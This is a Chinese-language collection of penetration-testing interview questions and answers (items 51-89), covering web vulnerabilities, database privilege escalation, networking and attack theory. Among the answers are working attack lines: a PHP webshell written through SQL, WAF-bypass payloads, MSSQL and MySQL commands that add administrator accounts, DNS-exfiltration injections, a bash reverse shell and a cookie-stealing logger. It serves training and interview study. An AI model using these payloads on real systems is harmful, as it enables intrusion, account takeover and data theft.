滲透測試工程師面試題大全(二)

滲透測試工程師面試題大全(二)
from:backlion大佬 整理

51.sql 注入寫文件都有哪些函數?

(1)select ‘一句話’ into outfile ‘路徑’

(2)select ‘一句話’ into dumpfile ‘路徑’

(3) select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

52.如何防止 CSRF?

(1)驗證 referer

(2)驗證 token

詳細:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

53.owasp 漏洞都有哪些?

(1)SQL 注入防護方法:

(2)失效的身份認證和會話管理

(3)跨站腳本攻擊 XSS

(4)直接引用不安全的對象

(5)安全配置錯誤

(6)敏感信息泄露

(7)缺少功能級的訪問控制

(8)跨站請求僞造 CSRF

(9)使用含有已知漏洞的組件

(10))未驗證的重定向和轉發

54.SQL 注入防護方法?

(1)使用安全的 API

(2)對輸入的特殊字符進行 Escape 轉義處理

(3)使用白名單來規範化輸入驗證方法

(4)對客戶端輸入進行控制,不允許輸入 SQL 注入相關的特殊字符

(5)服務器端在提交數據庫進行 SQL 查詢之前,對特殊字符進行過濾、轉義、替換、刪除。

55.代碼執行,文件讀取,命令執行的函數都有哪些?

(1)代碼執行: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_fu nction

(2)文件讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

(3)命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

56.img 標籤除了 onerror 屬性外,還有其他獲取管理員路徑的辦法嗎?

src 指定一個遠程的腳本文件,獲取 referer

57.img 標籤除了 onerror 屬性外,並且 src 屬性的後綴名,必須以.jpg 結尾,怎麼獲取管理員路徑?

遠程服務器修改 apache 配置文件,配置.jpg 文件以 php 方式來解析

AddType application/x-httpd-php .jpg

<img src=http://xss.tv/1.jpg> 會以 php 方式來解析

58.怎麼繞過 WAF 注入和上傳以及 xss?

(1)關鍵字可以用%(只限 IIS 系列),比如 select 可以 sel%e%ct。原理:
網絡層 waf 對 SEL%E%CT 進行 url 解碼後變成 SEL%E%CT,匹配 select 失敗,而進入 asp.dll 對 SEL%E%CT 進行 url 解碼卻變成 select。IIS 下的 asp.dll 文件在對 asp 文件後參數串進行 url 解碼時,會直接過濾掉 09-0d(09 是 tab 鍵,0d是回車)、20(空格)、%(後兩個字符有一個不是十六進制)字符。xss 也是同理。

(2)內聯註釋。安全狗不攔截,但是安全寶、加速樂、D 盾等,看到/!/就 Fack
了,所以只限於安全狗。比如:/!select*/

(3)編碼。這個方法對 waf 很有效果,因爲一般 waf 會解碼,但是我們利用這
個特點,進行兩次編碼,他解了第一次但不會解第二次,就 bypass 了。騰訊
waf、百度 waf 等等都可以這樣 bypass 的

(4)繞過策略如:僞造搜索引擎
早些版本的安全狗是有這個漏洞的,就是把 User-Agent 修改爲搜索引擎

(5)插入關鍵目錄 admin,dede,install 等目錄繞過 360webscan

360webscan 腳本存在這個問題,就是判斷是否爲 admin dede install 等目錄,如果是則不做攔截

GET /pen/news.php?id=1 union select user,password from mysql.user GET /pen/news.php/admin?id=1 union select user,password from
mysql.user

GET /pen/admin/…\news.php?id=1 union select user,password from mysql.user (6)multipart 請求繞過,在 POST 請求中添加一個上傳文件,繞過了絕大多數WAF。

(7)參數繞過,複製參數,id=1&id=1
用一些特殊字符代替空格,比如在 mysql 中%0a 是換行,可以代替空格,這個方法也可以部分繞過最新版本的安全狗,在 sqlserver 中可以用/**/代替空格

(8)內聯註釋,

文件上傳,複製文件包一份再加一份
在 form-data;後面增加一定的字符

59.既然寬字節注入可以繞過單引號過濾,那麼怎麼來修復呢?

寬字符:解 決方法:就是在初始化連接和字符集之後,使用 SET
character_set_client=binary 來設定客戶端的字符集是二進制的。修改
Windows 下的 MySQL 配置文件一般是 my.ini,Linux 下的 MySQL 配置文件一般是 my.cnf,比如:mysql_query (“SETcharacter_set_client=binary”);。
character_set_client 指定的是 SQL 語句的編碼,如果設置爲 binary,MySQL就以二進制來執行,這樣寬字節編碼問題就沒有用武之地了。

詳細參考:

http://wenku.baidu.com/link?url=F4Cq18NYdsnATq3eqtr3zCWLKExoEYV62yJp5zsfM5c85iv4rldTvl1A_SGilEAiWB_O_hg0C9A8VLoIT4K_HxyyF0Z7xo5Pihh1VxxYa4QGiXQ_wGDjiOFHubYvshgl

60.列舉出 oracle 注入獲取管理員權限提權典型漏洞?

【漏洞名稱】 sys.dbms_export_extension.get_domain_index_metadata 提升權限漏洞

【影響平臺】Oracle 8i / 9i / 10g / XE

【風險等級】高

【攻擊需求】較低權限賬號

【造成危害】取得管理員權限

61.mssql 提權的提權思路有哪些步驟?

(1)首先看看 xp_cmdshel 是否 l 存在,不存在的話先恢復,恢復語句如下:

Exec sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE;
;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;–

(2)如果 xp_cmdshell 還是不行就再執行命令

;dbcc addextendedproc(“xp_cmdshell”,“xplog70.dll”);–
或;sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll 來恢復cmdshell

(3)無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序。)

恢復方法:查詢分離器連接後,

第一步執行:exec sp_dropextendedproc xp_cmdshell

第二步執行:exec sp_addextendedproc xp_cmdshell,xpweb70.dll

然後按 F5 鍵命令執行完畢

(4)終極方法

如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:

查詢分離器連接後, 2000servser 系統:

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net user dell huxifeng007 /add

declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net localgroup administrators dell /add sql2008 提權 低權限運行

62、mssql 提權提示錯誤代碼 5,cmd 權限不足的原因?

錯誤代碼”5″,馬上 google 之。由於 xp_cmdshell 是嚴格用%systemroot%\system32\cmd.exe 去執行所提交的命令的,提示”5″,意思是 cmd 的權限不足,就是說 system32 下的 cmd.exe 被降權了。當然也有繞過的方法,比如啓用沙盒模式執行 shell 命令:

63.怎麼用 sqlmap 對 sa 權限的 mssql 2008 進行提權?

(1)第一種函數

select name from sysobjects where xtype=u 通過這個來爆第一個表

select name from sysobjects where xtype=u and name not in(爆出來的表1,爆出來的表 2…)

一直爆下去,直到找到我們所需要的表位置

(2)第二種函數

select table_name from information_schema.tables

select table_name from information_schema.tables where table_name

not in (爆出來的表 1,爆出來的表 2…)

參考文章:http://www.freebuf.com/articles/web/10280.html

64.xxe 注入有哪些危害以及防禦 ?

(1)引用外部實體<!ENTITY 實體名稱 SYSTEM "URI">或者 <!ENTITY 實體

名稱 PUBLIC “public_ID” “URI”>當允許引用外部實體時,通過構造惡意內容

(2)可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

對於不同 XML 解析器,對外部實體有不同處理規則,在 PHP 中默認處理的函數爲:xml_parse 和 simplexml_load xml_parse 的實現方式爲 expat 庫,默認情況不會解析外部實體,而 simplexml_load 默認情況下會解析外部實體,造成安全威脅.除 PHP 外,在 Java,Python 等處理 xml 的組件及函數中都可能存在此問題

https://www.waitalone.cn/xxe-attack.html
XXE 漏洞 http://www.91ri.org/9539.html  

(3)防禦:

方案一、使用開發語言提供的禁用外部實體的方法

libxml_disable_entity_loader(true);

方案二、過濾用戶提交的 XML 數據

1.檢查所使用的底層 xml 解析庫,默認禁止外部實體的解析

2.使用第三方應用代碼及時升級補丁

3.同時增強對系統的監控,防止此問題被人利用

對於 PHP,由於 simplexml_load_string 函數的 XML 解析問題出在 libxml 庫上,

所以加載實體前可以調用這樣一個函數

65.gpc 魔術引號?

參考文章: http://www.jb51.net/article/38990

66.MYSQL 有哪些提權方法?

(1)UDF 提權

這類提權方法我想大家已經知道了,我大致寫一下,具體語句如下:

create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:web3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);

(2)VBS 啓動項提權
create table a (cmd text);
insert into a values (“set wshshell=createobject (”“wscript.shell”") " );
insert into a values (“a=wshshell.run (”“cmd.exe /c net user iis_user 123!@#abcABC/add”",0) " );
insert into a values (“b=wshshell.run (”“cmd.exe /c net localgroup administrators iis_user /add”",0) " );
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啓動\a.vbs”;

(3)Linx MySQL BackDoor 提權

Linx Mysql Door

Mysql BackDoor 是一款針對 PHP+Mysql 服務器開發的後門,該後門安裝後爲Mysql 增加一個可以執行系統命令的"state"函數,並且隨 Mysql 進程啓動一個基於 Dll 的嗅探型後門,這個後門在 Windows 下擁有與 Mysql 一樣的系統權限,從而巧妙的實現了無端口,無進程,無服務的穿牆木馬.
用法:將 Mysql.php 傳到 PHP 服務器上,點擊"自動安裝 Mysql BackDoor",然後直接執行命令即可。

(4)MIX.DLL 提權

1.在獨立 IP 的 sqlmap 下運行

2.禁用本地緩存
net stop dns 3.http://localhost/inject.php?user=123’
and if((SELECT LOAD_FILE(CONCAT(’\’,(SELECT hex(user())),’.abc.com\foobar’))),1,1)%23 http://localhost/inject.php?user=123’
and if((SELECT LOADFILE(CONCAT(’\’,(SELECT concat(user,’’,mid(password,2,41)) from user where user=‘root’ limit 1),’.md5crack.cn\foobar’))),1,1)%23 https://sanwen8.cn/p/1acWt8J.html  

4.DNS 突破
參考文章:http://www.freebuf.com/vuls/85021.html

67.什麼叫 ssrf 以及 ssrf 的防禦?

(1)SSRF(Server-Side Request Forgery:服務器端請求僞造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF 攻擊的目標是從外網無法訪問的內部系統。

(2)SSRF 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠程服務器端口狀態

1.限制請求的端口爲 HTTP 常用的端口,比如 80,443,8080,8088 等

2.黑名單內網 IP。

3.禁用不需要的協議,僅僅允許 HTTP 和 HTTPS.

68.如何利用 php 的遠程命令執行函數進行反彈 nc?

system,exec,shell_exec,paassthru,popen,proc_popen,
反彈 shell
公網服務器執行 nc –lvv 8888
目標服務器上執行?cmd= bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
並在 disabl_functions 中禁用

69.文件包含漏洞可以用來做啥,以及需要主要注意的事項?

(1)配合文件上傳漏洞 GetShell,可以執行任意腳本代碼,網站源碼文件以及配置文件泄露,遠程包含 GetShel, 控制整個網站甚至是服務器

(2)allow_url_fopen 和 allow_url_include 爲 ON 的話,則包含的文件可以是第三方服務器中的文件,這樣就形成了遠程文件包含漏洞

(3)/etc/passwd • 需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效

(4)/etc/passwd././././././././././././.[…]/././././././././.

(5)php 版本小於 5.2.8 可以成功,linux 需要文件名長於 4096,windows需要長於 256index.php?page=php://filter/read/=convert.base64-encode/resource=index.php

70.文件上傳有哪些技巧?

通過抓包截斷將 eval.php.jpg 換成 eval.php_jpg(下劃線爲 0x00)。在上傳文件時系統文件遇到 0x00。會認爲文件已經結束。從而將 eval.php.jpg 的內容寫入到 eval.php 中。
.htaccess 文件內容

<FilesMatch “haha”>
SetHandler application/x-httpd-php
文件幻數檢測 jpg(JFIF) gif(GIF89a) png(%PNG) apache 解析漏洞,2.0-2.2 IIS7.5 解析漏洞,任意文件名後加.php
nginx<0.8.32 1.jpg/1.php
nginx>0.8.41<1.5.6,1.jpg%20.php 解析
**SQL 注入(Sql Injection )是一種將 SQL 語句插入或添加到應用(用戶)的輸入參數中的攻擊,之後再將這些參數傳遞給後臺的 SQL 服務器加以解析並執行。

71.HTTP 協議 head 方法的功能與 get 方法不同之處是?

不同之處在於服務器不會在其相應中返回消息主體。

• TRACE。這種方法主要用於診斷。
• OPTIONS。這種方法要求服務器報告對某一特殊資源有效的 HTTP 方法。
• PUT。這個方法試圖使用包含在請求主體中的內容,向服務器上傳制定的資源
** 各種註釋#-- – - --+ // /**/ 空白字符,+號,-號,~號,!號,@形式
{} %0a-----------------------------

72.域和組的區別是什麼?

工作組是一羣計算機的集合,它僅僅是一個邏輯的集合,各自計算機還是各自管理的,你要訪問其中的計算機,還是要到被訪問計算機上來實現用戶驗證的。而域不同,域是一個有安全邊界的計算機集合,在同一個域中的計算機彼此之間已經建立了信任關係,在域內訪問其他機器,不再需要被訪問機器的許可了。爲什麼是這樣的呢?因爲在加入域的時候,管理員爲每個計算機在域中(可和用戶不在同一域中)建立了一個計算機帳戶,這個帳戶和用戶帳戶一樣,也有密碼保護的。可是大家要問了,我沒有輸入過什麼密碼啊,是的,你確實沒有輸入,計算機帳戶的密碼不叫密碼,在域中稱爲登錄憑據,它是由 2000 的 DC(域控制器)上的 KDC 服務來頒發和維護的。爲了保證系統的安全,KDC 服務每 30 天會自動更新一次所有的憑據,並把上次使用的憑據記錄下來。周而復始。也就是說服務器始終保存着 2 個憑據,其有效時間是 60 天,60 天后,上次使用的憑據就會被系統丟棄。如果你的 GHOST 備份裏帶有的憑據是 60 天的,那麼該計算機將不能被 KDC 服務驗證,從而系統將禁止在這個計算機上的任何訪問請求(包括登錄),解決的方法呢,簡單的方法使將計算機脫離域並重新加入,KDC 服務會重新設置這一憑據。或者使用 2000 資源包裏的 NETDOM 命令強制重新設置安全憑據。因此在有域的環境下,請儘量不要在計算機加入域後使用 GHOST備份系統分區,如果作了,請在恢復時確認備份是在 60 天內作的,如果超出,就最好聯繫你的系統管理員,你可以需要管理員重新設置計算機安全憑據,否則你將不能登錄域環境。域和工作組適用的環境不同,域一般是用在比較大的網絡裏,工作組則較小,在一個域中需要一臺類似服務器的計算機,叫域控服務器,其他電腦如果想互相訪問首先都是經過它的,但是工作組則不同,在一個工作組裏的所有計算機都是對等的,也就是沒有服務器和客戶機之分的,但是和域一樣,如果一臺計算機想訪問其他計算機的話首先也要找到這個組中的一臺類似組控服務器,組控服務器不是固定的,以選舉的方式實現,它存儲着這個組的相關信息,找到這臺計算機後得到組的信息然後訪問。

73.對稱加密非對稱加密?

對稱加密:加解密用同一密鑰,密鑰維護複雜 n(n-1)/2,不適合互聯網傳輸密鑰,加解密效率高。應用於加密數據。

非對稱加密:公鑰推不出私鑰,每個用戶一個非對稱密鑰對就可以,適合於互聯網傳輸公鑰,但是加密效率低,應用於數字簽名及加密。

74.什麼是同源策略?

1.爲了防止不同域在用戶瀏覽器中彼此干擾,瀏覽器對從不同來源(域)收到的內容進行隔離。瀏覽器不允許任何舊有腳本訪問一個站點的 cookie,否則 ,會話容易被劫持。只有發佈 cookie 的站點能夠訪問這些 cookie,只有通過該站點返回的頁面所包含或加載的 JavaScript 才能訪問 cookie。
協議相同,域名相同,端口相同

75.cookie 存在哪裏?可以打開嗎?

C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Cookies

工具–文件夾選項–查看–將隱藏被保護的文件的對勾去掉就會看到 cookies 文件夾。

76.xss 如何盜取 cookie?

攻擊者代碼:

<?php $cookie=$_GET['cookie']; $time=date('Y-m-d g:i:s'); $referer=getenv('HTTP_REFERER'); $cookietxt=fopen('cookie.txt','a'); fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意雙引號,容易出錯 fclose($cookietxt); ?>

腳本端:

獲取到 cookie 後,用 firebug 找到 cookie,新建 cookie

加入 cookie,用 referer 來提交,無需輸入帳號密碼直接登錄進去!

77.tcp、udp 的區別及 tcp 三次握手,syn 攻擊?

也可參考

http://www.cnblogs.com/bizhu/archive/2012/05/12/2497493.html

(1)tcp、udp 區別

TCP 的優點:

可靠,穩定

TCP 的可靠體現在 TCP 在傳遞數據之前,會有三次握手來建立連接,而且在數據傳遞時,有確認、窗口、重傳、擁塞控制機制,在數據傳完後,還會斷開連接用來節約系統資源。

TCP 的缺點:

慢,效率低,佔用系統資源高,易被攻擊

TCP在傳遞數據之前,要先建連接,這會消耗時間,而且在數據傳遞時,確認機 制、重傳機制、擁塞控制機制等都會消耗大量的時間,而且要在每臺設備上維護所有的傳輸連接,事實上,每個連接都會佔用系統的 CPU、內存等硬件資源。

而且,因爲 TCP 有確認機制、三次握手機制,這些也導致 TCP 容易被人利用,實現 DOS、DDOS、CC 等攻擊。

UDP 的優點:

快,比 TCP 稍安全。UDP 沒有 TCP 的握手、確認、窗口、重傳、擁塞控制等機制,UDP 是一個無狀態的傳輸協議,所以它在傳遞數據時非常快。沒有 TCP 的這些機制,UDP 較 TCP被攻擊者利用的漏洞就要少一些。但 UDP 也是無法避免攻擊的,
比如:UDP

Flood 攻擊……

UDP 的缺點:

不可靠,不穩定。因爲 UDP 沒有 TCP 那些可靠的機制,在數據傳遞時,如果網絡質量不好,就會很容易丟包。

基於上面的優缺點,那麼什麼時候應該使用 TCP:

當對網絡通訊質量有要求的時候,比如:整個數據要準確無誤的傳遞給對方,這往往用於一些要求可靠的應用,比如 HTTP、HTTPS、FTP 等傳輸文件的協議,POP、SMTP 等郵件傳輸的協議。
在日常生活中,常見使用 TCP 協議的應用如下:

瀏覽器,用的 HTTP

FlashFXP,用的 FTP

Outlook,用的 POP、SMTP

Putty,用的 Telnet、SSH

QQ 文件傳輸

什麼時候應該使用 UDP:

當對網絡通訊質量要求不高的時候,要求網絡通訊速度能儘量的快,這時就可以

使用 UDP。

比如,日常生活中,常見使用 UDP 協議的應用如下:

QQ 語音

QQ 視頻

TFTP

(2)TCP 握手協議

在 TCP/IP 協議中,TCP 協議提供可靠的連接服務,採用三次握手建立一個連接。

第一次握手:建立連接時,客戶端發送 syn 包(syn=j)到服務器,並進入SYN_SEND 狀態,等待服務器確認;

第二次握手:服務器收到 syn 包,必須確認客戶的 SYN(ack=j+1),同時自己也發送一個 SYN 包(syn=k),即 SYN+ACK 包,此時服務器進入 SYN_RECV 狀態;

第三次握手:客戶端收到服務器的 SYN+ACK 包,向服務器發送確認包ACK(ack=k+1),此包發送完畢,客戶端和服務器進入 ESTABLISHED 狀態,完成三次握手。

完成三次握手,客戶端與服務器開始傳送數據,在上述過程中,還有一些重要的概念:

未連接隊列:在三次握手協議中,服務器維護一個未連接隊列,該隊列爲每個客戶端的 SYN 包(syn=j)開設一個條目,該條目表明服務器已收到 SYN 包,並向客戶發出確認,正在等待客戶的確認包。

這些條目所標識的連接在服務器處於 Syn_RECV 狀態,當服務器收到客戶的確認包時,刪除該條目,服務器進入 ESTABLISHED 狀態。

backlog 參數:表示未連接隊列的最大容納數目。

SYN-ACK 重傳次數 服務器發送完 SYN-ACK 包,如果未收到客戶確認包,服務器進行首次重傳,等待一段時間仍未收到客戶確認包,進行第二次重傳,如果重傳次數超過系統規定的最大重傳次數,系統將該連接信息從半連接隊列中刪除。注意,每次重傳等待的時間不一定相同。

半連接存活時間:是指半連接隊列的條目存活的最長時間,也即服務從收到 SYN包到確認這個報文無效的最長時間,該時間值是所有重傳請求包的最長等待時間總和。有時我們也稱半連接存活時間爲 Timeout 時間、SYN_RECV 存活時間。

(3)SYN 攻擊原理

SYN 攻擊屬於 DOS 攻擊的一種,它利用 TCP 協議缺陷,通過發送大量的半連接請求,耗費 CPU 和內存資源。
SYN 攻擊除了能影響主機外,還可以危害路由器、防火牆等網絡系統,事實上SYN 攻擊並不管目標是什麼系統,只要這些系統打開 TCP 服務就可以實施。從上圖可看到,服務器接收到連接請求(syn=j),將此信息加入未連接隊列,併發送請求包給客戶(syn=k,ack=j+1),此時進入SYN_RECV 狀態。
當服務器未收到客戶端的確認包時,重發請求包,一直到超時,纔將此條目從未連接隊列刪除。配合 IP 欺騙,SYN 攻擊能達到很好的效果,通常,客戶端在短時間內僞造大量不存在的 IP 地址,向服務器不斷地發送 syn 包,服務器回覆確認包,並等待客戶的確認,由於源地址是不存在的,服務器需要不斷的重發直至超時,這些僞造的 SYN 包將長時間佔用未連接隊列,正常的 SYN 請求被丟棄,目標系統運行緩慢,嚴重者引起網絡堵塞甚至系統癱瘓。

78.證書要考哪些?

信息安全國際第一認證——CISSP

信息安全國內認證——CISAW

信息安全國內認證——CISP

信息安全技術實操認證新貴——Security+

IT 審計人員的必備之證——CISA=

79.DVWA 是如何搭建的?

啓動 xampp(XAMPP(Apache+MySQL+PHP+PERL)是一個功能強大的建站集成軟件包。)下的 apache 中間件和 mysql將 dvwa 放到 xampp 下的 htdocs 目錄下在瀏覽器輸入 http://127.0.0.1/dvwa 即可使用啦!

還有 owasp 的漏洞練習平臺:
https://sourceforge.net/projects/owaspbwa/files/

80.滲透測試的流程是什麼?

滲透測試流程概述

前期交互階段、情報蒐集階段、威脅建模階段、漏洞分析階段、滲透攻擊階段(Exploitation)、後滲透攻擊階段(怎麼一直控制,維持訪問)、報告階段。
攻擊前:網絡踩點、網絡掃描、網絡查點攻擊中:利用漏洞信息進行滲透攻擊、獲取權限
攻擊後:後滲透維持攻擊、文件拷貝、木馬植入、痕跡擦除

81.xss 如何防禦?

1.對前端輸入做過濾和編碼:

比如只允許輸入指定類型的字符,比如電話號格式,註冊用戶名限制等,輸入檢查需要在服務器端完成,在前端完成的限制是容易繞過的;對特殊字符進行過濾和轉義;

2.對輸出做過濾和編碼:在變量值輸出到前端的 HTML 時進行編碼和轉義;

3.給關鍵 cookie 使用 http-only

82.IIS 服務器應該做哪些方面的保護措施?

整理來源:http://www.williamlong.info/archives/118.html

  1. 保持 Windows 升級:

  2. 使用 IIS 防範工具

  3. 移除缺省的 Web 站點

  4. 如果你並不需要 FTP 和 SMTP 服務,請卸載它們

  5. 有規則地檢查你的管理員組和服務:

  6. 嚴格控制服務器的寫訪問權限

  7. 設置複雜的密碼

  8. 減少/排除 Web 服務器上的共享

  9. 禁用 TCP/IP 協議中的 NetBIOS:

  10. 使用 TCP 端口阻塞

  11. 仔細檢查*.bat 和*.exe 文件: 每週搜索一次*.bat

  12. 管理 IIS 目錄安全:

  13. 使用 NTFS 安全:

  14. 管理用戶賬戶

  15. 審計你的 Web 服務器:

84.虛擬機的幾種連接方式及原理?

整理來源:http://blog.csdn.net/shuxiao9058/article/details/7051463

安裝完虛擬機後,默認安裝了兩個虛擬網卡,VMnet1 和 VMnet8,其他的未安裝(當然也可以手動安裝其他的)。其中 VMnet1 是 host 網卡,用於 host 方式連接網絡的。VMnet8 是 NAT 網卡,用於 NAT 方式連接網絡的。它們的 IP 地址是隨機生成的,如果要用虛擬機做實驗的話,最好將 VMnet1 到 VMnet8 的 IP 地址改掉。習慣上把 VMware 虛擬網卡使用的網段"固定",使用如下原則:VMnet1 對應的網段是 192.168.10.0,VMnet2 對應的網段是 192.168.20.0,其他的類似。當然平常只是隨便用用的就不用改了,能上網就行了。
VMware 網絡連接的方式主要有:橋接(Bridged)、NAT、主機網絡(Host-Only)。

  1. Use bridged networking(使用橋接網絡)

說明:使用 VMnet0 虛擬交換機,此時虛擬機相當與網絡上的一臺獨立計算機與主機一樣,擁有一個獨立的 IP 地址,其網絡拓撲如圖 1 所示,使用橋接方式,A,A1,A2,B 可互訪。
在這裏插入圖片描述
圖 1

  1. Use network address translation(NAT)

說明:使用 Vmnet8 虛擬交換機,此時虛擬機可以通過主機單向網絡上的其他工作站,其他工作站不能訪問虛擬機。

其網絡拓撲如圖 2 所示,使用 NAT 方式,A1,A2 可以訪問 B,但 B 不可以訪問 A1,A2。但 A,A1,A2 可以互訪。
在這裏插入圖片描述
圖 2

3.Use Host-Only networking(使用主機網絡)

說明:使用 Vmnet1 虛擬交換機,此時虛擬機只能與虛擬機、主機互訪。也就是不能上 Internet,其網絡拓撲如圖 3 所示,使用 Host 方式,A,A1,A2 可以互訪,但 A1,A2 不能訪問 B,也不能被 B
訪問。
在這裏插入圖片描述
圖3

85.xss 有 cookie 一定可以無用戶名密碼登錄嗎?

基本可以。因爲把 cookie 的值給瀏覽器,瀏覽器去訪問頁面會用已有的 cookie去訪問,如果 cookie 有效,就會直接進去。

86.SSL Strip(SSp)攻擊到底是什麼?

SSL 協議(Secure Socket Layer,安全套接層)主要是使用公開密鑰體制和 X.509數字證書技術保護信息傳輸的機密性和完整性,它不能保證信息的不可抵賴性,主要適用於點對點之間的信息傳輸,常用 Web Server 方式。
詳細解釋 http://hover.blog.51cto.com/258348/218841

87.中間人攻擊——ARP 欺騙的原理、實戰及防禦?

(1)什麼是網關
首先來簡單解釋一下什麼是網關,網關工作在 OSI 七層模型中的傳輸層或者應用層,用於高層協議的不同網絡之間的連接,簡單地說,網關就好比是一個房間通向另一個房間的一扇門。
(2)ARP 協議是什麼
ARP(Address Resolution Protocol)地址轉換協議,工作在 OSI 模型的數據鏈路層,在以太網中,網絡設備之間互相通信是用 MAC 地址而不是 IP 地址,ARP 協議就是用來把 IP 地址轉換爲 MAC 地址的。而 RARP 和 ARP 相反,它是反向地址轉換協議,把 MAC 地址轉換爲 IP 地址。
假設 A(192.168.1.2)與 B(192.168.1.3)在同一局域網,A 要和 B 實現通信。A 首先會發送一個數據包到廣播地址(192.168.1.255),該數據包中包含了源 IP(A)、源 MAC、目的 IP(B)、目的 MAC,這個數據包會被髮放給局域網中所有的主機,但是隻有 B 主機會回覆一個包含了源 IP(B)、源 MAC、目的 IP(A)、目的 MAC 的數據包給 A,同時 A 主機會將返回的這個地址保存在 ARP 緩存表中。
(3)ARP 欺騙原理
上面提到過了 ARP 緩存表,在每臺主機都有一個 ARP 緩存表,緩存表中記錄了IP 地址與 MAC 地址的對應關係,而局域網數據傳輸依靠的是 MAC 地址。
假設主機 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 網關 G 192.168.1.1;在同一局域網,主機 A 和 B 通過網關 G 相互通信,就好比 A 和 B 兩個人寫信,由郵遞員 G 送信,C 永遠都不會知道 A 和 B 之間說了些什麼話。但是並不是想象中的那麼安全,在 ARP 緩存表機制存在一個缺陷,就是當請求主機收到 ARP應答包後,不會去驗證自己是否向對方主機發送過 ARP 請求包,就直接把這個返回包中的 IP 地址與 MAC 地址的對應關係保存進 ARP 緩存表中,如果原有相同 IP 對應關係,原有的則會被替換。這樣 C 就有了偷聽 A 和 B 的談話的可能,繼續思考上面的例子:
C 假扮郵遞員,首先要告訴 A 說:“我就是郵遞員” (C 主機向 A 發送構造好的返回包,源 IP 爲 G 192.168.1.1,源 MAC 爲 C 自己的 MAC 地址),愚蠢的A 很輕易的相信了,直接把“C 是郵遞員”這個信息記在了腦子裏;C 再假扮 A,告訴郵遞員:“我就是 A” (C 向網關 G 發送構造好的返回包,源 IP 爲 A 192.168.1.2,源 MAC 地址爲自己的 MAC 地址),智商捉急的郵遞員想都沒想就相信了,以後就把 B 的來信送給了 C,C 當然就可以知道 A 和 B之間聊了些什麼
上面 ABCG 的故事就是 ARP 雙向欺騙的原理了
ARP 單向欺騙就更好理解了,C 只向 A 發送一個返回包,告訴 A:G 192.168.1.1的 MAC 地址爲 5c-63-bf-79-1d-fa(一個錯誤的 mac 地址),A 把這個信息記錄在了緩存表中,而 G 的緩存表不變,也就是說,A 把數據包給了 C,而 G的包還是給 A,這樣就是 ARP 單向欺騙了。

88.會話劫持原理?

在現實生活中,比如你去市場買菜,在交完錢後你要求先去幹一些別的事情,稍候再來拿菜;如果這個時候某個陌生人要求把菜拿走,賣菜的人會把菜給陌生人嗎?!當然,這只是一個比喻,但這恰恰就是會話劫持的喻意。所謂會話,就是兩臺主機之間的一次通訊。例如你 Telnet 到某臺主機,這就是一次 Telnet 會話;你瀏覽某個網站,這就是一次 HTTP 會話。而會話劫持(Session Hijack),就是結合了嗅探以及欺騙技術在內的攻擊手段。例如,在一次正常的會話過程當中,攻擊者作爲第三方參與到其中,他可以在正常數據包中插入惡意數據,也可以在雙方的會話當中進行簡聽,甚至可以是代替某一方主機接管會話。我們可以把會話劫持攻擊分爲兩種類型:
1)中間人攻擊(Man In The Middle,簡稱 MITM),
2)注射式攻擊(Injection);
並且還可以把會話劫持攻擊分爲兩種形式:
1)被動劫持
2)主動劫持;
被動劫持實際上就是在後臺監視雙方會話的數據流,叢中獲得敏感數據;而主動劫持則是將會話當中的某一臺主機“踢”下線,然後由攻擊者取代並接管會話,這種攻擊方法危害非常大,攻擊者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD 下的 Shadow 文件)。圖 1 爲會話劫持示意圖。

89.MITM 攻擊簡介?

這也就是我們常說的“中間人攻擊”,在網上討論比較多的就是 SMB 會話劫持,這也是一個典型的中間人攻擊。要想正確的實施中間人攻擊,攻擊者首先需要使用 ARP 欺騙或 DNS 欺騙,將會話雙方的通訊流暗中改變,而這種改變對於會話雙方來說是完全透明的。關於 ARP 欺騙黑客防線介紹的比較多,網上的資料也比較多,我就不在多說了,我只簡單談談 DNS 欺騙。
